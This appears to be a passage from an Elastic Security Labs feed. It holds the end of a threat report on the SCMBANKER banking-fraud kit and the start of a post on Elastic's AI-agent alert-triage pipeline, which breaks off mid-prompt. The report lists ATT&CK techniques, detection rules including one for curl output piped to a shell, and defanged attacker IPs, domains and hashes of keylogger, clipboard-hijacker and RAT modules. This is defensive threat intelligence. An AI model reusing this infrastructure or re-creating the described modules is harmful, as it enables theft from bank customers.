<p>Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.</p>
<h2>Why REF6045 matters despite its crude execution</h2>
<p>REF6045 is not a sophisticated operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.</p>
<p>That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.</p>
<p>Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.</p>
<h2>REF6045 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Stealth</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Phishing: Spearphishing Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1197/">BITS Jobs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1016/">System Network Configuration Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/">Remote Access Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1529/">System Shutdown/Reboot</a></li>
<li><a href="https://attack.mitre.org/techniques/T1657/">Financial Theft</a></li>
</ul>
<h2>How to detect and prevent REF6045</h2>
<h3>Prevention rules for detecting SCMBANKER</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_bitsadmin_activity.toml">Suspicious Bitsadmin Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_interpreter_child_process.toml">Suspicious Windows Script Interpreter Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_from_unusual_directory.toml">Execution from Unusual Directory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_external_ip_address_discovery_via_a_trusted_program.toml">External IP Address Discovery via a Trusted Program</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_execution_via_windows_run.toml">Suspicious Command Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_curl_http_fetch_piped_to_cmd_or_node_via_command_shell.toml">Curl HTTP Fetch Piped to Cmd or Node via Command Shell</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>68.211.161[.]46</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>216.250.112[.]100</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>185.242.246[.]169</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>ratonvaquero2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>monteviral2026.duckdns[.]org</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>osogransd[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>negratomasa2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>gestionmontelavaria2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>ssinvestigaciones[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix post-CAPTCHA tracking endpoint</td>
</tr>
<tr>
<td align="left"><code>bancaporinternetbbmx[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BanBajio phishing page</td>
</tr>
<tr>
<td align="left"><code>b30cb0aa977aacdab94d2ef503186c8f0b2fc10d7cf0d7c7c0ada70c127dc7e8</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>zkt.zip</code></td>
<td align="left">Exposed web-root archive</td>
</tr>
<tr>
<td align="left"><code>554f1aefeb698995501751328c2f9fe93f02a680679fba3dd15f1ed93d46bf1b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>validation.txt</code></td>
<td align="left">First-stage batch payload</td>
</tr>
<tr>
<td align="left"><code>ff3555154e91e42490cc722b6c7f3c4c91654b7ef53a35d0719ffb89accf1b27</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>run.vbs</code></td>
<td align="left">Master launcher</td>
</tr>
<tr>
<td align="left"><code>526287a40aad1b218228cdd1f459ad3b93f858585048347644d597c6ab19515a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>cliente.ps1</code></td>
<td align="left">C2 beacon</td>
</tr>
<tr>
<td align="left"><code>685d29ce8a550feb3a9e1d1c5926ec5e927615cf34aab62c108a812a1eb6737c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>jujuzkt.ps1</code></td>
<td align="left">Banking activity monitor</td>
</tr>
<tr>
<td align="left"><code>8c87ea94401fa97d3743a87604e088d1a29c7b06cf9673623941a42da68452a6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>jujuzkt2.ps1</code></td>
<td align="left">Active browser redirect module</td>
</tr>
<tr>
<td align="left"><code>6dcd7fdd5e088d98d861cbd1cb74a7b83ae5508f4dbb617413bcbe7fbc8a82e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensaje1.ps1</code></td>
<td align="left">Vishing dispatcher</td>
</tr>
<tr>
<td align="left"><code>4d9c160ebb44507b11f0e6421f691900284f25b5530a23d9fd50de0ae01663ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensaje.ps1</code></td>
<td align="left">Hard-lock vishing overlay</td>
</tr>
<tr>
<td align="left"><code>0315d4a7bc14654ad66d4c2b98920b92ca18cbc231b3ce5fba1fcac70b828e19</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensajeoff.ps1</code></td>
<td align="left">Soft-lock vishing overlay</td>
</tr>
<tr>
<td align="left"><code>5d17645548a44fe39d3cc816ffa3933321c1eb8b08a8f4348e3cd82f25112c81</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor1.ps1</code></td>
<td align="left">Screenshot module invoker</td>
</tr>
<tr>
<td align="left"><code>566f4bfdfea54129b8528d50cae187a9030e2f2787749add4b0db22ac35ea581</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>screen2.ps1</code></td>
<td align="left">Screenshot module</td>
</tr>
<tr>
<td align="left"><code>882d582e85d5bb7abbdde791a2d52e3b1bb7dd7f79c20318ce64b74249221fdb</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor2.ps1</code></td>
<td align="left">Vishing dispatcher rotator</td>
</tr>
<tr>
<td align="left"><code>eea08fbf3720d638af1d313d3ce369708b77d7891379d5c5871dd7f36667ed0c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>clip.ps1</code></td>
<td align="left">CLABE clipboard hijacker</td>
</tr>
<tr>
<td align="left"><code>70140aa236d630a7d5ed08be3dafcccea9a8b0eec6dadf8c1cf1b96d8f608609</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>clip2.ps1</code></td>
<td align="left">Card-number clipboard hijacker</td>
</tr>
<tr>
<td align="left"><code>6c8ba7127a83431432e85946976c18bb3f3e9bf9def68aae572cd1d9d73604c7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>avs.ps1</code></td>
<td align="left">Remote Utilities downloader</td>
</tr>
<tr>
<td align="left"><code>81a4512db985359ed361755da58a1177b07632b5aee951c68a6ace54f4d0534b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>instaler.ps1</code></td>
<td align="left">Remote Utilities installer launcher</td>
</tr>
<tr>
<td align="left"><code>3d9015429d65276869ceb9c91f10d6474b1098042db75949c49b9f1682c1f3ae</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>remoto.ps1</code></td>
<td align="left">Remote Utilities configurator</td>
</tr>
<tr>
<td align="left"><code>5bc85b604eb37ffa1e67c57f4744b55ef876a1ab442e2a2440550ef0922aeec7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>correr.ps1</code></td>
<td align="left">Arbitrary PowerShell executor</td>
</tr>
<tr>
<td align="left"><code>30ff24faad80184bb43660a8bd317df99a8d09d31bae3b446aaa876543f2620f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>key.ps1</code></td>
<td align="left">Telegram-backed keylogger</td>
</tr>
<tr>
<td align="left"><code>4b7b35b921d7615b7a82a42c379560d1b0c5a74c81311a269874195ba2744f2d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>cursor2.exe</code></td>
<td align="left">Invisible-cursor utility</td>
</tr>
<tr>
<td align="left"><code>32d981b3e7c36aa7030cfd9ee412bff742e00b36c39c80634b2681f89de4a487</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>hosts.msi</code></td>
<td align="left">Remote Utilities installer</td>
</tr>
<tr>
<td align="left"><code>cd7b179dd98848a02b9a1d4ebfeee26cdbb317b4ad53eb50786e18515b0cf804</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ini.ps1</code></td>
<td align="left">Delayed launcher</td>
</tr>
<tr>
<td align="left"><code>345e8a90b7b762b065333cd068811d88086d157be713d89bdf200c927645f3d8</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>remo.ps1</code></td>
<td align="left">IP-gated launcher</td>
</tr>
<tr>
<td align="left"><code>0ec9b518f84b6bdc0e843b89fa755522ec67db862414ad16bdcaa8c2be25485c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>edifhjwe.ps1</code></td>
<td align="left">Self-updater</td>
</tr>
<tr>
<td align="left"><code>26f906a2a4276b1968a8ce956a7b342aa9bc26f60d32c14668223877f569fb3f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor.ps1</code></td>
<td align="left">Keylogger rotator</td>
</tr>
<tr>
<td align="left"><code>13bfd0f695cea1d6ae570a7ca056ffe930467be73a26f29f95209618f383bd2d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>4.bat</code></td>
<td align="left">Early version of run.vbs</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/mexican-banking-fraud-scmbanker-ref6045.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside Elastic InfoSec's agentic SOC: cutting alert triage from 30 minutes to under 3]]></title>
            <link>https://www.elastic.co/fr/security-labs/alert-triage-agentic-soc-elastic-workflows</link>
            <guid>alert-triage-agentic-soc-elastic-workflows</guid>
            <pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic's InfoSec team built AI agents on Elastic Workflows that investigate every alert and assemble the case before an analyst ever opens it.]]></description>
            <content:encoded><![CDATA[<p>This is Part 1 of the Inside Elastic InfoSec's Agentic SOC series. <a href="https://www.elastic.co/fr/security-labs/agentic-soc-token-budget-architecture">Part 2: choosing the right agent architecture for a 5× cost reduction</a></p>
<p>Elastic's InfoSec team built an agentic SOC that triages every alert before an analyst opens it. A 30-minute manual investigation now finishes in under 3 minutes: deterministic ES|QL queries close obvious false positives at zero token cost, specialized AI agents investigate the rest across endpoint, cloud, and SaaS domains, and a Final Review agent writes the verdict to a Kibana case. The whole pipeline runs on Elastic's native stack (<a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Workflows</a>, <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a>, the <a href="https://www.elastic.co/fr/docs/explore-analyze/elastic-inference/eis">Elastic Inference Service</a>, and <a href="https://www.elastic.co/fr/guide/en/security/current/cases-overview.html">Kibana Cases</a>) with no third-party orchestrator, and inference routed only to providers documented with zero data retention.</p>
<p>AI-assisted attacks have compressed the timeline from initial access to exfiltration from days to hours, and traditional manual alert triage cannot keep pace. Hiring more analysts does not scale with alert volume. The <a href="https://www.elastic.co/fr/what-is/agentic-security-ops">Agentic SOC</a> pattern fixes this gap: automate the investigation work that does not require human judgment so analysts can focus on the alerts that do.</p>
<p>Note that we use a workflow as our Agentic SOC orchestration layer instead of an Agent. We chose to use a workflow for orchestration instead of an Agent because of the scale we are operating at. A workflow is deterministic, fast, and does not consume tokens. When you are triaging tens of thousands of alerts per month, this can make a huge difference in costs and performance.</p>
<p>For a security team processing sensitive alert data, the inference layer's data handling matters. The <a href="https://www.elastic.co/fr/docs/explore-analyze/elastic-inference/eis-supported-models">Elastic Inference Service</a> routes requests to trusted third-party model providers that operate with zero data retention and do not use inputs to train models. Per-model data retention and training-data status are documented on the <a href="https://www.elastic.co/fr/docs/explore-analyze/elastic-inference/eis-supported-models">EIS supported-models page</a> so customers can verify the status of the specific model their pipeline uses. For airgapped or highly sensitive environments, the same pipeline can run against a model hosted on your own infrastructure.</p>
<p>At Elastic, our InfoSec team operates as &quot;Customer Zero.&quot; We run the newest versions of Elastic Security in our production environment, often before they are released publicly. Our fleet spans thousands of laptops, servers, and cloud workloads across a globally distributed workforce. We are the first and most demanding user of every feature we ship, including the Workflows and Agent Builder platforms.</p>
<p>Our Agentic SOC journey started with a single <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> triage agent in Elastic Security 9.2. It handled workstation alerts well, where the investigation pattern is consistent, but we found that SaaS provider logs and <a href="https://www.elastic.co/fr/security-labs/higher-order-detection-rules">Higher-Order</a> threshold alerts required a more specialized methodology. That gap drove our move to domain-specific agents.</p>
<h2>Alert triage with Workflows and ES|QL: closing alerts without AI</h2>
<p>The principle behind this first step is simple: any check that can be resolved by a query should be a query, not an LLM call. ES|QL queries are deterministic, auditable, fast, and cost nothing in tokens. An LLM call is non-deterministic, slower, more expensive, and introduces failure modes (hallucinated facts, prompt injection, inconsistent reasoning across runs) that a query does not have. Most false-positive patterns in a mature SOC are well understood and can be expressed in code, so spending tokens to reason about them is a wasted cost. The LLM is the right tool for the alerts where the data is genuinely ambiguous, not for the ones a query can close cleanly.</p>
<p>This builds on the approach we described in our earlier <a href="https://www.elastic.co/fr/blog/false-positives-automated-siem-investigations-elastic-tines">automated SIEM investigation post</a> using Tines, where many of these same triage checks ran as Tines stories. Bringing them into Elastic Workflows keeps the full pipeline inside Kibana.</p>
<p>Detection rules in Kibana support a new <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/common-rule-settings#rule-notifications">workflow action</a>. When you configure this on a rule, every alert the rule generates is automatically sent to the designated workflow with no manual intervention. Our orchestration workflow is the entry point for the entire pipeline. Each workflow has a trigger configuration that tells it how it is expected to be called. To use workflows with alerts, the trigger configuration is straightforward:</p>
<pre><code>triggers:
  - type: alert
</code></pre>
<p>Our detection engineers tag rules with triage categories (<code>Triage: Workstation</code>, <code>Triage: PMFA</code>, <code>Triage: Asset</code>, <code>Triage: All</code>) that control which checks run. A workstation rule runs device and user identity checks. An infrastructure rule runs broader asset and CI/CD checks. This tagging is how you express &quot;what does a false positive look like for this rule&quot; at authoring time, and the workflow enforces it automatically. The rule's tags appear on every alert it generates in the <code>kibana.alert.rule.tags</code> field.</p>
<p>Our workflow groups triage checks by alert type. For alerts from IP-based sources (Okta, AWS, Azure, GCP, GitHub, and similar), the workflow runs up to 16 ES|QL queries across our asset inventory, fleet data, and SaaS audit logs to determine whether the source IP belongs to known corporate infrastructure. Here is one example, checking whether the source IP has an active low-risk Okta session that indicates phishing-resistant MFA was used from this IP:</p>
<pre><code>- name: ip_okta_consolidated
  type: elasticsearch.esql.query
  with:
    query: |
      FROM logs-okta*
      | WHERE source.ip == &quot;{{ event.alerts[0].source.ip }}&quot;
        AND @timestamp &gt; NOW() - 24h
        AND event.action == &quot;policy.evaluate_sign_on&quot;
        AND okta.debug_context.debug_data.risk_level == &quot;LOW&quot;
      | KEEP @timestamp, source.ip, user.email, event.action
      | LIMIT 1
</code></pre>
<p>If any query returns a result (for example, the source IP matches a successful low-risk Okta login), the workflow closes the alert immediately and adds the workflow tag <code>Closed: Okta PMFA IP</code>:</p>
<pre><code>- name: close_alert_okta
  type: kibana.request
  with:
    method: POST
    path: &quot;/s/{{ consts.space_id }}/api/detection_engine/signals/status&quot;
    body:
      signal_ids:
        - &quot;{{ event.alerts[0].kibana.alert.uuid }}&quot;
      status: closed
</code></pre>
<p>No tokens used. No case created. The alert is closed.</p>
<h2>ES|QL enrichment: building the shared alert context every agent reads</h2>
<p>Alerts that survive the triage step go on to the enrichment portion of the workflow. This step gathers all the supporting information needed to provide context about the activity in order to accurately triage an alert. Any query that an analyst would run to investigate an alert should be added to the workflow. Our workflow queries more than 20 data sources using the values from the alert's ECS fields:</p>
<ul>
<li>User and host names checked against Entity Risk scoring.</li>
<li>User Okta login locations and devices from the last 7 days.</li>
<li>Asset Inventory information for a complete profile of the users involved.
<ul>
<li>User asset inventory: work role, geographic location, assigned workstations.</li>
<li>For workstation alerts, the asset inventory finds the owner, then pulls that user's profile.</li>
</ul>
</li>
<li>Cloud account ownership.
<ul>
<li>All entity information for any service account or cloud asset in the alert.</li>
</ul>
</li>
<li>Source IP activity across AWS, Azure, GCP, Google Workspace, Office 365, Salesforce, and GitHub.</li>
<li>List of all alerts for the same user, workstation, and <code>source.ip</code> in the last 72 hours.</li>
<li>Specialized enrichment tailored to the alerts datasource to assist the specialized triage agents.
<ul>
<li>Any context we can provide to the specialized agents via ESQL helps reduce the number of LLM calls made by the agents, which can dramatically reduce overall costs.</li>
</ul>
</li>
<li>Recent cases containing the same observables as the alert
<ul>
<li>Case outcome, alert names, and summary; flag if the case was marked false positive with the same alert.</li>
</ul>
</li>
</ul>
<p>The workflow assembles the results into a note for the Initial Triage agent's prompt; if a case is later opened, the same note is added as one of the first comments. Every downstream agent reads this note rather than re-running the same queries.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image3.png" alt="Example Enrichment context added to the case" /></p>
<h2>The Initial Triage agent: automated alert triage in under a minute</h2>
<p>The Initial Triage agent is the first agent in the pipeline, and its output determines the workflow path. The primary additional source we provide this agent is the <a href="https://www.elastic.co/fr/security-labs">Elastic Security Labs</a> knowledge base, which lets it compare the alert against every published Elastic article on threat actor techniques and malware behavior. The agent’s job is to do a structured assessment of the alert. The first line of its response must follow a specific format, and the workflow uses a substring check to parse it. The Verdict can only be <code>True Positive</code> or <code>False Positive</code>, the Assessment can only be <code>malicious</code>, <code>suspicious</code>, <code>unknown</code> or <code>benign</code>, and the Confidence can only be <code>high</code> or <code>low</code>.</p>
<pre><code>## Verdict: True Positive | Assessment: suspicious | Confidence: high
**Reason:** One-line explanation.
**Summary:** 
Short report about the alert with a max size of 3000 characters.
</code></pre>
<p>If the verdict is <code>False Positive</code> and the confidence is <code>high</code>, the workflow adds a <a href="https://www.elastic.co/fr/guide/en/security/current/timeline-api-update.html">timeline note</a> to the alert and closes it. The whole path, from alert trigger through enrichment to the Initial Triage close, typically completes within a minute at a token cost of around 50k tokens. For an alert that would have taken an analyst 15 minutes or more to investigate manually, that is a significant reduction in both cost and response time.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image5.png" alt="Initial Triage agent note with a false positive verdict" /></p>
<p>If the verdict is anything other than a high-confidence false positive, the workflow moves to the case path.</p>
<p>The Initial Triage agent is intentionally narrow in scope to increase speed and reduce token usage. The initial triage agent only uses an average of 50k tokens per use; a general-purpose agent can consume 500k or more tokens per use. If your Agentic SOC is triaging 10,000 alerts per month, this is a huge cost savings when your initial triage agent can close even 5,000 of those alerts. This limited scope also keeps the agent fast, predictable, and affordable.</p>
<h2>Opening a Kibana case and dispatching the Specialized agents</h2>
<p>When the workflow does not close the alert, it opens a new case in <a href="https://www.elastic.co/fr/guide/en/security/current/cases-overview.html">Kibana Cases</a>, our SOC's case management system, and attaches the alert and enrichment context to the case. Every alert that needs deeper investigation gets its own case, which becomes the shared workspace for everything that happens next. The workflow attaches the alert as the first artifact, then adds the full enrichment as a comment. The workflow also adds the detection rule investigation guide to the case as a separate comment to help guide the following agents. Every downstream Specialized agent writes its findings to the same case as a comment, and our analysts manage, comment on, link, and resolve those cases in the same view they already use for the rest of our incident response work. The enrichment is already there when the Specialized agents run; they do not have to re-derive it.</p>
<p>Routing to the Specialized agents uses ECS fields from the alert: <code>agent.type</code> and <code>host.os.type</code> for endpoint alerts, and <code>event.dataset</code> for cloud and SaaS alerts. Only the relevant agents are run. A macOS endpoint alert triggers the macOS Forensics agent, not the GCP or Azure agents. An AWS CloudTrail alert triggers the AWS agent and the Cloud Forensics agent, not the endpoint agents. This reduces unnecessary token usage.</p>
<table>
<thead>
<tr>
<th align="left">Specialized agent</th>
<th align="left">Domain</th>
<th align="left">Data sources</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Threshold Enrichment</td>
<td align="left">Contributing alerts for threshold rules</td>
<td align="left">Alerts index, entity resolution</td>
</tr>
<tr>
<td align="left">macOS Forensics</td>
<td align="left">macOS endpoint</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/elastic-defend"><code>logs-endpoint.events.*</code></a>, process entity IDs</td>
</tr>
<tr>
<td align="left">Windows Forensics</td>
<td align="left">Windows endpoint</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/elastic-defend"><code>logs-endpoint.events.*</code></a>, <a href="https://www.elastic.co/fr/docs/reference/integrations/windows"><code>logs-winlog.*</code></a></td>
</tr>
<tr>
<td align="left">Linux Forensics</td>
<td align="left">Linux endpoint</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/beats/auditbeat"><code>auditbeat-*</code></a></td>
</tr>
<tr>
<td align="left">AWS CloudTrail</td>
<td align="left">AWS API activity</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/aws/cloudtrail"><code>logs-aws.cloudtrail*</code></a></td>
</tr>
<tr>
<td align="left">Okta</td>
<td align="left">Authentication and sessions</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/okta"><code>logs-okta*</code></a></td>
</tr>
<tr>
<td align="left">Azure</td>
<td align="left">Azure AD and activity</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/azure"><code>logs-azure.*</code></a></td>
</tr>
<tr>
<td align="left">GCP</td>
<td align="left">GCP audit logs</td>
<td align="left"><a href="https://www.elastic.co/fr/docs/reference/integrations/gcp"><code>logs-gcp*</code></a></td>
</tr>
<tr>
<td align="left">Cross Cloud Forensics</td>
<td align="left">Examining entity behavior through multi-cloud environments</td>
<td align="left">AWS, Azure, GCP indices</td>
</tr>
<tr>
<td align="left">Same-Rule Recent Cases</td>
<td align="left">Prior cases for this rule</td>
<td align="left">Kibana Cases API</td>
</tr>
<tr>
<td align="left">SaaS Activity</td>
<td align="left">Investigate user or IP activity in SaaS logs such as Slack, Office 365, Google Workspace</td>
<td align="left">Multiple Elastic integrations</td>
</tr>
</tbody>
</table>
<p>Each Specialized agent has a specific investigation methodology written directly into its system prompt. This is different from using a broad agent with many skills. A broad agent, which is excellent for analyst-led chat sessions where a human can steer it, can load the needed skills to investigate alerts depending on what it thinks it needs at that time. For automation, that runtime decision-making and skill loading adds costs from LLM calls and produces less consistent results.</p>
<p>We tested this trade-off in detail; the companion post <a href="https://www.elastic.co/fr/security-labs/agentic-soc-token-budget-architecture">Part 2: choosing the right agent architecture for a 5× cost reduction</a>. The short version: when an agent runs in automation, the dominant cost driver is the number of LLM calls it makes, because each call carries the full conversation history with it. It is a little counterintuitive, but sometimes using a longer system prompt that tells the agent exactly what to do reduces total cost by eliminating the LLM calls the agent would otherwise spend deciding what to do next. That is why every agent in our pipeline has a precise, methodology-rich prompt rather than a thin one with skill delegation.</p>
<h3>MacOS Forensics agent: an example investigation</h3>
<p>The agent prompt frames the agent's role precisely: it is a macOS forensic examiner whose job is to document what happened, not to decide whether the activity is malicious. The instructions are explicit and repeated: the agent must not include any verdict, assessment, or judgment (benign, malicious, suspicious, true positive, false positive). That call belongs to the Final Review agent later in the pipeline. To support its investigation, the agent has a tight tool set: ES|QL queries against endpoint events, a dedicated <code>endpoint.process.entity_id</code> tool for pulling all related network and file events for a given process, an alerts lookup for cases where <code>process.entity_id</code> is missing, and <code>security.security_labs_search</code>, which gives it access to the <a href="https://www.elastic.co/fr/security-labs">Elastic Security Labs</a> knowledge base. The Security Labs tool lets the agent check command lines, hashes, or file paths against every published Elastic article on threat actor techniques and malware behavior, so it can flag known malicious indicators directly rather than reasoning about them from scratch.</p>
<p>Here is a condensed view of the macOS forensics investigation workflow from the agent's instructions. The full prompt includes example ES|QL queries and lists of fields for the agent to keep.</p>
<pre><code>You are a forensic examiner specializing in **MacOS** endpoint forensics. Your job is to document **what happened**, not to judge whether it is malicious or benign. You receive an alert plus pre-enriched context (including host and owner when available). The workflow has already run ESQL queries to pre-gather MacOS endpoint context (recent process and file events on this host). This pre-gathered data is included in your message. Perform a focused deep-dive using process tree analysis and return factual findings.

Constraints:
- Never pull &quot;full documents&quot; when a tiny field set is enough. Always **KEEP** only required fields and use a small **LIMIT**.
- You have **120 seconds** total. Optimize for speed and reliability.
- Do NOT include any verdict, assessment, or judgment (benign/malicious/suspicious/true positive/false positive). Your report is purely factual.
- the process.entity_id field from the alert is unique to the process that triggered the alert, use this field for finding related events. 
- All MacOS endpoint data is located in the logs-endpoint.* index and the SIEM alerts are in the .alerts-security.alerts-* index. Do not use any other index

Investigation Steps:

1. Process tree: query endpoint.process_entity_id with the alerting process's entity_id, then extract process.Ext.ancestry to find parent and grandparent processes.
